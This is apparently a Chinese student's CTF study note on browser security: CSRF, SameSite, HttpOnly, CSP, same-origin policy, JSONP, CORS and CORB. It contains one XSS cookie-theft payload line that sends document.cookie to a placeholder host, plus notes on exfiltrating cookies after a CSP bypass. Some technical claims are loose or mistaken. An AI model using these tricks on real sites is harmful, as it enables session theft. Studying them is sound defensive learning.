前端安全笔记
打DiceCTF的全前端选择打到自闭,然后开始临时学前端,翻到了自己之前写的东西发现不仅很简陋还有写错的部分。。。。整体改一下
CSRF
第一、三方cookie
第一方cookie指的是由网络用户访问的域创建的cookie
第三方cookie即第三方网站引导发出的cookie
CSRF的防御手段应该是csrf_token和samesite
csrf_token
csrf_token是通过页内嵌入标识防止冒用cookie的,不赘述
SameSite
samesite则是一种浏览器安全防御措施,服务器通过在header中提交SameSite决定该cookie是否在请求时会被发出
SameSite有三种模式,Strict,Lax和None。
Strict超级严格,绝不转发第三方cookie,比如你从百度搜索到B站,那么从百度点进去的就一定处于未登录状态,None就是关掉,就当无事发生。
现代浏览器大多采用默认的Lax模式,大多数情况下不给转发第三方cookie,但为了方便使用仍允许部分,如下
<a href=”…”>链接标签
<link rel=”prerender” href=”…”/>预加载
<form method=”GET” action=”…”>仅get表单,POST表单不行,提交表单会导致跳转
lax模式还是能通过js自动提交表单来进行CSRF的
XSS cookie窃取
HTTPOnly
cookie设置为httpOnly之后,cookie无法被页面脚本获取,所以我们经典的xss使用<src img=xxx.com?a=document.cookie发送cookie的计划就不通了
但是还是能用GET,POST表单或者location.href方式CSRF说起来GET表单和location.href好像没什么区别
CSP
Content-Security-Policy内容安全策略,用于限定当前页面哪些脚本内被执行,外部引用的脚本从哪引用的可以执行,防止了代码的注入和引用
包括一些default-src, script-src之类的,限制能够请求的资源的范围,如果请求的src不在允许范围内,则请求不会被发出,fetch等函数同样受到限制
但是如果绕过了CSP可以执行脚本,还是可以location.href之类的跳转或者GET,POST表单提交跳转之类的把cookie偷出来,毕竟跳转就不算是请求资源了
同源策略
如下所说的页面指页面上的JavaScript脚本
同源策略主要功能为
https和http的同源如下
浏览器禁止跨域页面直接的读写,主要表现为禁止ajax跨域读,DOM的获取
DOM获取常见的例子为iframe,当主页面使用iframe加载子页面时,父页面无法获取到子页面的DOM文档,无法对其操作,拿不到他的cookie
而ajax请求同理,当ajax请求为跨域请求时,当前页面无法获得其返回内容(请求可以被发出)
总而言之,请求的发出并不能被阻止,浏览器能做的不过是隔离请求的应答和页面直接的交互,目的在于阻止请求得到的内容被页面获取
浏览器不止支持上述协议,比如还有file协议。据说在很古老的年代,file协议的同源域是本机,就导致file协议可以访问系统中的任意文件,最后就变成了file的同源是本文件,然后好像还可以用软连接读取任意文件,最后的结局就是任何文件不同源了,自己和自己也不同源
Ajax和src等标签的区别
Ajax是专门用于发送请求的,也就是说正常情况下Ajax请求的回复可以被当前页面获取,而src等标签只能发送请求,取来的内容被浏览器接管,当前页面并不能获得返回的内容,但浏览器能把它展示出来(比如把img展示出来,引入的js脚本跑起来)
但当Ajax发出的为跨域请求时,收到的回复内容会被拦截,无法被页面获取,但是还是可以被收到的,就是进入这个标签页进程的内存空间(但是浏览器是不给你获取到内容的),但是可以利用熔断漏洞读取内存,解决方案为CORB,直接阻止请求进入进程内存
CORB
全称Cross-Origin Read Blocking,为了防止熔断漏洞虽然拦截了请求但是通过读内存获取数据出现的方案,不仅能拦截请求,甚至可以阻止请求进入进程内存,绝对防御(大概)
Ajax跨域请求解决方案
Jsonp
同源策略的一种简陋解决方案,因为同源策略放行src,事先在页面上定义好一个callbackfunc,通过src跨域请求数据,服务端返回约定格式的数据(即符合callbackfunc的数据),返回后由callbackfunc处理获取的对应数据
CORS
同源策略现在比较成熟的解决方案,当发起跨域请求时,先向被请求资源的一方发起一个OPTION预检请求,让被请求方返回一堆Access-Control-Allow-xxx的响应头来决定该资源能否被跨域请求,如果响应头不允许请求该资源,则该请求不会被发出
但存在部分简单请求不会触发CORS预检请求,即下列方法之一(fetch的get、post不算)
- GET
- HEAD
- POST
- Content-Type 的值仅限于下列三者之一:
- text/plain
- multipart/form-data
- application/x-www-form-urlencoded
- ….剩下的详见MDN吧
但是不触发预检请求不等于请求结果可读,只是能跳过OPTIONS步骤直接将请求发出,但若回复中没有对应的响应头,所获得的结果仍会被浏览器block,无法被页面获取
因此,就算配置了CORS也不能阻止CSRF之类的攻击,还是可以用这些简单请求进行数据提交,cookie的冒用还是得靠之前CSRF的那几个策略阻止
MDN上好像提到CORS默认不带凭证(cookie),需要发请求的时候加一个标记才会发送?
CSP与CORS的差异
一开始感觉这两个东西应该是类似的,但后来仔细想了想发现,CSP是由服务端指定自己所信任的源,规定的是可加载的白名单范围,而CORS则是服务端指定自己的服务所信任的请求者,允许哪些页面能通过前端代码获取自己的数据,指定的是允许被加载的白名单范围。
即一个是限制自己能加载的数据,一个是限制能加载自己的请求者
参考链接
http://www.ruanyifeng.com/blog/2016/04/same-origin-policy.html
https://www.ruanyifeng.com/blog/2019/09/cookie-samesite.html
https://blog.csdn.net/zzzmmmkkk/article/details/10862949
https://www.jianshu.com/p/beb059c43a8b
http://www.yaoyanhuo.com/blog/corb/
https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Access_control_CORS
https://developer.mozilla.org/zh-CN/docs/Web/HTTP/CSP